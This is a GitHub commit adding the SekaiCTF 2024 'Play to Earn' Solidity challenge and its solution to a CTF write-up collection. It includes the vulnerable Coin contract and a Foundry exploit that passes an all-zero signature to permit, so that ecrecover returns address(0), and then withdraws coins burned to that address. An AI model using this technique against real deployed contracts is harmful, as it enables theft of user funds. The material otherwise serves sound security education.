Skip to content

Commit 79d8b02

Browse files
committed
add sekai ctf 2024 play to earn
1 parent ebb6ab4 commit 79d8b02

File tree

6 files changed

+206
-10
lines changed

6 files changed

+206
-10
lines changed

README.md

Lines changed: 19 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,7 @@ Please be aware that these contain spoilers. For contribution guidelines, please
4949
- [ECDSA signature malleability attacks](#ecdsa-signature-malleability-attacks)
5050
- [Brute-forcing addresses](#brute-forcing-addresses)
5151
- [Recoveries of public keys](#recoveries-of-public-keys)
52+
- [`ecrecover` returns `address(0)` for invalid signatures](#ecrecover-returns-address0-for-invalid-signatures)
5253
- [Encryption and decryption in secp256k1](#encryption-and-decryption-in-secp256k1)
5354
- [Bypassing bots and taking ERC-20 tokens owned by wallets with known private keys](#bypassing-bots-and-taking-erc-20-tokens-owned-by-wallets-with-known-private-keys)
5455
- [Claimable intermediate nodes of Merkle trees](#claimable-intermediate-nodes-of-merkle-trees)
@@ -255,10 +256,10 @@ Note:
255256
- If a destination is a contract and there is no receive Ether function or payable fallback function, Ether cannot be transferred.
256257
- However, instead of the normal transfer functions, the `selfdestruct` described in the next section can be used to force such a contract to transfer Ether.
257258

258-
| Challenge | Note, Keywords |
259-
| -------------------------------------------------------------------------- | -------------- |
260-
| [Ethernaut: 9. King](src/Ethernaut/) | |
261-
| [Project SEKAI CTF 2022: Random Song](src/ProjectSekaiCTF2022/RandomSong/) | Chainlink VRF |
259+
| Challenge | Note, Keywords |
260+
| ----------------------------------------------------------------- | -------------- |
261+
| [Ethernaut: 9. King](src/Ethernaut/) | |
262+
| [SekaiCTF 2022: Random Song](src/ProjectSekaiCTF2022/RandomSong/) | Chainlink VRF |
262263

263264
### Forced Ether transfers to non-payable contracts via `selfdestruct`
264265
- If a contract does not have a receive Ether function and a payable fallback function, it is not guaranteed that Ether will not be received.
@@ -368,9 +369,9 @@ Note:
368369
### EVM assembly logic bugs
369370
- Logic bugs in assemblies such as Yul
370371

371-
| Challenge | Note, Keywords |
372-
| ------------------------------------------------------- | -------------- |
373-
| [Project SEKAI CTF 2024: Zoo](src/ProjectSekaiCTF2024/) | `Pausable` |
372+
| Challenge | Note, Keywords |
373+
| ---------------------------------------------- | -------------- |
374+
| [SekaiCTF 2024: Zoo](src/ProjectSekaiCTF2024/) | `Pausable` |
374375

375376
### EVM bytecode golf
376377
- These challenges have a limit on the length of the bytecode to be created.
@@ -427,7 +428,7 @@ Note:
427428
| [QuillCTF 2022: SafeNFT](src/QuillCTF2022/SafeNFT) | ERC721, `_safeMint()` |
428429
| [Numen Cyber CTF 2023: SimpleCall](src/NumenCTF/) | `call` |
429430
| [SEETF 2023: PigeonBank](src/SEETF2023/) | |
430-
| [Project SEKAI CTF 2023: Re-Remix](src/ProjectSekaiCTF2023/) | Read-Only Reentrancy |
431+
| [SekaiCTF 2023: Re-Remix](src/ProjectSekaiCTF2023/) | Read-Only Reentrancy |
431432
| [SECCON Beginners CTF 2024: vote4b](src/SECCONBeginnersCTF2024/vote4b/) | ERC721, `_safeMint()` |
432433

433434
### Flash loan basics
@@ -535,6 +536,14 @@ Note:
535536
| ----------------------------------------------------- | -------------- |
536537
| [Capture The Ether: Public Key](src/CaptureTheEther/) | RLP, ECDSA |
537538

539+
### `ecrecover` returns `address(0)` for invalid signatures
540+
- The `ecrecover` precompile returns `address(0)` when the signature is invalid or malformed.
541+
- This behavior can be exploited if contracts don't properly validate the return value of `ecrecover`.
542+
543+
| Challenge | Note, Keywords |
544+
| ------------------------------------------------------------------ | -------------- |
545+
| [SekaiCTF 2024: Play to Earn](src/ProjectSekaiCTF2024/PlayToEarn/) | Burn |
546+
538547
### Encryption and decryption in secp256k1
539548

540549
| Challenge | Note, Keywords |
@@ -697,8 +706,8 @@ Note
697706
| Paradigm CTF 2022: SOLHANA-2 | |
698707
| Paradigm CTF 2022: SOLHANA-3 | |
699708
| corCTF 2023: tribunal | |
700-
| Project SEKAI CTF 2023: The Bidding | |
701-
| Project SEKAI CTF 2023: Play for Free | |
709+
| SekaiCTF 2023: The Bidding | |
710+
| SekaiCTF 2023: Play for Free | |
702711

703712
## Cosmos
704713

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Test, console} from "forge-std/Test.sol";
5+
import {Setup, Coin} from "./challenge/Setup.sol";
6+
7+
contract ExploitTest is Test {
8+
address playerAddr = makeAddr("player");
9+
Setup setup;
10+
11+
function setUp() public {
12+
vm.deal(playerAddr, 1 ether);
13+
setup = new Setup{value: 20 ether}();
14+
}
15+
16+
function test() public {
17+
vm.startPrank(playerAddr, playerAddr);
18+
19+
new Exploit(address(setup));
20+
21+
vm.stopPrank();
22+
23+
assertTrue(setup.isSolved());
24+
}
25+
}
26+
27+
contract Exploit {
28+
constructor(address setupAddr) {
29+
Setup setup = Setup(setupAddr);
30+
setup.register();
31+
Coin coin = setup.coin();
32+
// address(0) に burn されている
33+
// ecrecover は無効な署名には address(0) を返す
34+
coin.permit({
35+
owner: address(0),
36+
spender: address(this),
37+
value: 19 ether,
38+
deadline: block.timestamp + 1 days,
39+
v: uint8(0),
40+
r: bytes32(0),
41+
s: bytes32(0)
42+
});
43+
coin.transferFrom(address(0), address(this), 19 ether);
44+
coin.withdraw(19 ether);
45+
}
46+
}
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
```
2+
ncat --ssl play-to-earn.chals.sekai.team 1337
3+
```
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
pragma solidity 0.8.25;
2+
3+
import {Coin} from "./Coin.sol";
4+
5+
contract ArcadeMachine {
6+
Coin coin;
7+
8+
constructor(Coin _coin) {
9+
coin = _coin;
10+
}
11+
12+
function play(uint256 times) external {
13+
// burn the coins
14+
require(coin.transferFrom(msg.sender, address(0), 1 ether * times));
15+
// Have fun XD
16+
}
17+
}
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
pragma solidity 0.8.25;
2+
3+
import "@openzeppelin/contracts/access/Ownable.sol";
4+
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
5+
6+
contract Coin is Ownable, EIP712 {
7+
string public constant name = "COIN";
8+
string public constant symbol = "COIN";
9+
uint8 public constant decimals = 18;
10+
bytes32 constant PERMIT_TYPEHASH =
11+
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
12+
13+
event Approval(address indexed src, address indexed guy, uint256 wad);
14+
event Transfer(address indexed src, address indexed dst, uint256 wad);
15+
event Deposit(address indexed dst, uint256 wad);
16+
event Withdrawal(address indexed src, uint256 wad);
17+
event PrivilegedWithdrawal(address indexed src, uint256 wad);
18+
19+
mapping(address => uint256) public nonces;
20+
mapping(address => uint256) public balanceOf;
21+
mapping(address => mapping(address => uint256)) public allowance;
22+
23+
constructor() Ownable(msg.sender) EIP712(name, "1") {}
24+
25+
fallback() external payable {
26+
deposit();
27+
}
28+
29+
function deposit() public payable {
30+
balanceOf[msg.sender] += msg.value;
31+
emit Deposit(msg.sender, msg.value);
32+
}
33+
34+
function withdraw(uint256 wad) external {
35+
require(balanceOf[msg.sender] >= wad);
36+
balanceOf[msg.sender] -= wad;
37+
payable(msg.sender).transfer(wad);
38+
emit Withdrawal(msg.sender, wad);
39+
}
40+
41+
function privilegedWithdraw() external onlyOwner {
42+
uint256 wad = balanceOf[address(0)];
43+
balanceOf[address(0)] = 0;
44+
payable(msg.sender).transfer(wad);
45+
emit PrivilegedWithdrawal(msg.sender, wad);
46+
}
47+
48+
function totalSupply() public view returns (uint256) {
49+
return address(this).balance;
50+
}
51+
52+
function approve(address guy, uint256 wad) public returns (bool) {
53+
allowance[msg.sender][guy] = wad;
54+
emit Approval(msg.sender, guy, wad);
55+
return true;
56+
}
57+
58+
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
59+
external
60+
{
61+
require(block.timestamp <= deadline, "signature expired");
62+
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
63+
bytes32 h = _hashTypedDataV4(structHash);
64+
address signer = ecrecover(h, v, r, s);
65+
require(signer == owner, "invalid signer");
66+
allowance[owner][spender] = value;
67+
emit Approval(owner, spender, value);
68+
}
69+
70+
function transfer(address dst, uint256 wad) public returns (bool) {
71+
return transferFrom(msg.sender, dst, wad);
72+
}
73+
74+
function transferFrom(address src, address dst, uint256 wad) public returns (bool) {
75+
require(balanceOf[src] >= wad);
76+
77+
if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
78+
require(allowance[src][msg.sender] >= wad);
79+
allowance[src][msg.sender] -= wad;
80+
}
81+
82+
balanceOf[src] -= wad;
83+
balanceOf[dst] += wad;
84+
85+
emit Transfer(src, dst, wad);
86+
87+
return true;
88+
}
89+
}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
pragma solidity 0.8.25;
2+
3+
import {Coin} from "./Coin.sol";
4+
import {ArcadeMachine} from "./ArcadeMachine.sol";
5+
6+
contract Setup {
7+
Coin public coin;
8+
ArcadeMachine public arcadeMachine;
9+
10+
address player;
11+
12+
constructor() payable {
13+
coin = new Coin();
14+
arcadeMachine = new ArcadeMachine(coin);
15+
16+
// Assume that many people have played before you ;)
17+
require(msg.value == 20 ether);
18+
coin.deposit{value: 20 ether}();
19+
coin.approve(address(arcadeMachine), 19 ether);
20+
arcadeMachine.play(19);
21+
}
22+
23+
function register() external {
24+
require(player == address(0));
25+
player = msg.sender;
26+
coin.transfer(msg.sender, 1337); // free coins for new players :)
27+
}
28+
29+
function isSolved() external view returns (bool) {
30+
return player != address(0) && player.balance >= 13.37 ether;
31+
}
32+
}

0 commit comments

Comments
 (0)